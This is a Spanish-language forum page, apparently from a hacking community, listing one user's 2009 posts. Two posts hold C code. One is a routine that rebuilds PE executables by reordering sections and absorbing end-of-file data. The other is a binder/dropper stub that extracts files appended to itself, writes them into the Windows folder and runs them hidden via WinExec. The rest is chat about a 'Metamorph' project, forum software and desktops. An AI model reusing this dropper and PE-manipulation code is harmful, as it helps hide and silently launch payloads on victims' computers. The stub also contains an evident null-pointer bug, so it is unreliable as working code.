Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - [Zero]

#561
Bueno, pues yo aquí otra vez con una función  :xD. Ésta función cambia bastantes cosas en el PE, cambia las secciones de orden (en lo que es en el archivo, en la cabecera no ya que de poco serviría), mete el EOF Data dentro de la última sección y actualiza el CheckSum (me aburría  :P). Tambien tenía casi terminado para que cambiara el Align del archivo, pero se me extendía demasiado el código, si necesito terminarla lo posteo en una función aparte.

La parte de reordenar las secciones se puede hacer de una forma más rápida y con menos código (Cambiando sólo el PointerToRawData), pero como eso se me ocurrió despues de terminar..

LPSTR RebuildPE(LPSTR FileName,LPSTR lpFileMaped,DWORD FileSize)
{
PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INTH;
PIMAGE_SECTION_HEADER ISH;

IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];

//Creamos un buffer y guardamos una copia del archivo mapeado
LPSTR Temp=(LPSTR)GlobalAlloc(GPTR,FileSize);
CopyMemory(&Temp[0],&lpFileMaped[0],FileSize);

//Cambiamos las secciones en el archivo de orden (no en la cabecera)
for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
{
PIMAGE_DOS_HEADER tIDH;
PIMAGE_NT_HEADERS tINTH;
PIMAGE_SECTION_HEADER tISH;
PIMAGE_SECTION_HEADER tISH2;
PIMAGE_SECTION_HEADER ISH2;

tIDH=(PIMAGE_DOS_HEADER)&Temp[0];
tINTH=(PIMAGE_NT_HEADERS)&Temp[tIDH->e_lfanew];

tISH=(PIMAGE_SECTION_HEADER)&Temp[tIDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*(i+1)];
ISH2=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*(i+1)];
tISH2=(PIMAGE_SECTION_HEADER)&Temp[tIDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];


if(i!=INTH->FileHeader.NumberOfSections-1)
{
CopyMemory(&lpFileMaped[ISH->PointerToRawData],&Temp[tISH->PointerToRawData],tISH->SizeOfRawData);
ISH->SizeOfRawData=tISH->SizeOfRawData;
ISH->Characteristics=tISH->Characteristics;
ISH->VirtualAddress=tISH->VirtualAddress;
CopyMemory(&ISH->Name,&tISH->Name,8);

ISH2->PointerToRawData=ISH->PointerToRawData+tISH->SizeOfRawData;
}
else
{
tISH=(PIMAGE_SECTION_HEADER)&Temp[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)];
ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
CopyMemory(&lpFileMaped[ISH->PointerToRawData],&Temp[tISH->PointerToRawData],tISH->SizeOfRawData);
ISH->SizeOfRawData=tISH->SizeOfRawData;
ISH->Characteristics=tISH->Characteristics;
ISH->VirtualAddress=tISH->VirtualAddress;
CopyMemory(&ISH->Name,&tISH->Name,8);
}
}

LPSTR SecTmp=(LPSTR)GlobalAlloc(GPTR,0x28*INTH->FileHeader.NumberOfSections);
CopyMemory(&SecTmp[0],&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)],0x28*INTH->FileHeader.NumberOfSections);

//Reordenamos las secciones en la cabecera
for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
{
if(i==0)
{
CopyMemory(&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)],&SecTmp[0x28*(INTH->FileHeader.NumberOfSections-1)],0x28);
}
else
{
CopyMemory(&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i],&SecTmp[0x28*(i-1)],0x28);
}
}

GlobalFree(Temp);

//Obtenemos el PointerToRawData más alto y el tamaño total de todas las secciones
DWORD MaxPointerToRawData=0;
DWORD TotalSectionsSize=0;
for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
{
ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];

if(MaxPointerToRawData<ISH->PointerToRawData)
{
MaxPointerToRawData=ISH->PointerToRawData;
}
TotalSectionsSize=TotalSectionsSize+(DWORD)(ISH->SizeOfRawData);
}

//Obtenemos la sección con el PointerToRawData más alto
for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
{
ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
//Si es la sección que contiene el PointerToRawData más alto salimos del bucle
if(ISH->PointerToRawData==MaxPointerToRawData)
{
i=INTH->FileHeader.NumberOfSections;
}
}

//Si hay EOF Data
if(ISH->PointerToRawData+ISH->SizeOfRawData<FileSize)
{
//Metemos el EOF Data dentro de la última sección
ISH->SizeOfRawData=ISH->SizeOfRawData+(FileSize-(ISH->PointerToRawData+ISH->SizeOfRawData));
}

//Obtenemos el SizeOfImage y ajustamos el VirtualSize de las secciones
DWORD SizeOfImage=0;
for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
{
ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
ISH->Misc.VirtualSize=ISH->SizeOfRawData;
if(SizeOfImage<ISH->VirtualAddress)
{
SizeOfImage=ISH->VirtualAddress+ISH->Misc.VirtualSize;
}
}

//Ajustamos el SizeOfImage
INTH->OptionalHeader.SizeOfImage=SizeOfImage;

//Recalculamos el CheckSum
_MapFileAndCheckSum miMapFileAndCheckSum=NULL;
HMODULE hLib=LoadLibraryA("IMAGEHLP.DLL");
miMapFileAndCheckSum=(_MapFileAndCheckSum)GetProcAddress(hLib,"MapFileAndCheckSumA");

DWORD OrignalCheckSum=0;
DWORD newCheckSum=0;
miMapFileAndCheckSum((PTSTR)FileName,&OrignalCheckSum,&newCheckSum);

INTH->OptionalHeader.CheckSum=newCheckSum;

return lpFileMaped;
}


Como las secciones no están ordenadas por el PointerToRawData en la cabecera, algunos visores del PE (Pe explorer por ejemplo) dice que tiene EOF data, pero no la tiene  ;D.



Saludos

PD: Gracias a Karcrack y Arkangel por escuchar mis lamentos  ;D.
#562
Abril negro / Re: Proyecto Metamorph
20 Julio 2009, 15:12 PM
Actualicé el post con alguna información de la 2.0 y lo he ordenado un poco  :P. A ver si tenemos novedades pronto, sacaremos una beta de la gui en cuanto esté al 100% para asegurarnos de que funciona perfectamente  :laugh:.

Saludos
#563
Nivel Web / Re: Version SMF
16 Julio 2009, 01:17 AM
Así viendo por encima parece que es cosa del las funciones de previsualizar, editar, bloquear un post etc, y es una actualización de seguridad, así que yo no lo dudo  :xD.

Saludos
#564
Yo me pasé a pretty urls, crea dos tablas en la bd con las equivalencias de los links y parece más serio puesto que ya dan soporte para la 2.0 de smf  :).

Saludos'
#565
Pues eso, al parecer el sitemap del foro no funciona correctamente, seguramente es debido al seo4smf que no da soporte para las actualizaciones de smf y tampoco lo hace para la 2.0 de momento   :¬¬ .

Saludos  ;)
#566
Abril negro / Re: Proyecto Metamorph
12 Julio 2009, 13:29 PM


Saludos  ;)
#567
 :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD

Krackwar ha vuelto  :o  ;D. Con código en C también hay un bug parecido, no se en que post tuve que poner comentarios con comillas para arreglarlo  :P.

Saludos

Edito: lo encontré, falla al intentar escapar una barra: "\\":

[code=c]
#pragma optimize("gsy", on)
#include <windows.h>

typedef DWORD (WINAPI *_RtlDecompressBuffer)(IN ULONG CompressionFormat,OUT PVOID DestinationBuffer,IN ULONG DestinationBufferLength,
IN PVOID SourceBuffer,IN ULONG SourceBufferLength,OUT PULONG pDestinationSize );

typedef VOID (WINAPI *_CopyMemory)(PVOID Destination,CONST VOID *Source,SIZE_T Length);

DWORD dwBytes;

VOID SaveFileToDisk(LPSTR nFileName,LPSTR lpFileMaped,DWORD FileSize)
{
HANDLE hSFTD=CreateFile(nFileName,GENERIC_READ+GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0);
WriteFile(hSFTD,lpFileMaped,FileSize,&dwBytes,0);
CloseHandle(hSFTD);
}

LPSTR DecompressBuffer(LPSTR lpBuffer,DWORD szBuffer,LPDWORD dwSizeOut )
{
  _RtlDecompressBuffer miRtlDecompressBuffer;

  LPSTR szRet=(LPSTR)GlobalAlloc(GPTR,16*szBuffer);

  miRtlDecompressBuffer=(_RtlDecompressBuffer)GetProcAddress((HINSTANCE)LoadLibraryA("NTDLL.DLL"),"RtlDecompressBuffer");

  miRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,szRet,16*szBuffer,lpBuffer,szBuffer,dwSizeOut);

  return szRet;
}

void main()
{
_CopyMemory miCopyMemory=NULL;
miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory");

DWORD szSubFile;
LPSTR ext=(LPSTR)GlobalAlloc(GPTR,3);
DWORD Seek=0;
LPSTR lpFile=NULL;

LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
GetModuleFileName(0,AppName,MAX_PATH);

HANDLE hFile=CreateFile(AppName,GENERIC_READ,0,0,OPEN_EXISTING,0,0);
DWORD szFile=GetFileSize(hFile,0);
LPSTR FileBuffer=(LPSTR)GlobalAlloc(GPTR,szFile);
ReadFile(hFile,FileBuffer,szFile,&dwBytes,0);

DWORD StubSize=0x640;

LPSTR WinPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
GetWindowsDirectory(WinPath,MAX_PATH);

DWORD NumArchivos;
miCopyMemory(&NumArchivos,&FileBuffer[StubSize],4);

Seek=4;
for(DWORD i=0;i<NumArchivos;i++)
{
//Obtenemos el peso del archivo
miCopyMemory(&szSubFile,&FileBuffer[StubSize+Seek],4);

//Obtenemos la extensión
miCopyMemory(&ext[0],&FileBuffer[StubSize+Seek+4],3);

//Leemos el archivo
lpFile=(LPSTR)GlobalAlloc(GPTR,szSubFile);
miCopyMemory(&lpFile[0],&FileBuffer[StubSize+Seek+7],szSubFile);

//Lo descomprimimos
DWORD szDecompressedFile;
LPSTR lpDecompressedFile=DecompressBuffer(lpFile,szSubFile,&szDecompressedFile);

//Generamos la ruta
LPSTR Path=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
lstrcat(Path,WinPath);
lstrcat(Path,"\\"); //" //Ta mal geshi ¬¬
LPSTR fName=NULL;
for(DWORD z=0;z<i+1;z++)
{
lstrcat(fName,"A");
}
lstrcat(Path,fName);
lstrcat(Path,".");
lstrcat(Path,ext);

//Lo guardamos en WinPath
SaveFileToDisk(Path,lpDecompressedFile,szDecompressedFile);

LPSTR Archivo=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
lstrcat(Archivo,"cmd /d /c \"");
lstrcat(Archivo,WinPath);
lstrcat(Archivo,"\\"); //" //Ta mal geshi ¬¬
lstrcat(Archivo,fName);
lstrcat(Archivo,".");
lstrcat(Archivo,ext);
lstrcat(Archivo,"\"");

WinExec(Archivo,SW_HIDE);

Seek=Seek+11+szSubFile;

}
CloseHandle(hFile);
}
[/code]
#568
Abril negro / Re: Proyecto Metamorph
15 Junio 2009, 20:42 PM
Claro, por que no se va a poder saber  :xD. Había dado problemas en XP SP1 y Vista SP1, no tengo ni la más remota idea de porqué, pero espero solucionarlo para la 2  ;D.

Saludos
#569
Foro Libre / Re: Sus escritorios
10 Junio 2009, 21:00 PM
Cita de: final_frontier en 30 Mayo 2009, 19:00 PM
Aquí el mío con debian



:o :o :o :o :o Siento el doble post pero ese escritorio me sonaba  :silbar:  ;).

Saludos ;)
#570
Foro Libre / Re: Sus escritorios
10 Junio 2009, 20:57 PM
Mi ubuntu con mi flamante KDE instalado hace menos de una semana  ;D.



Saludos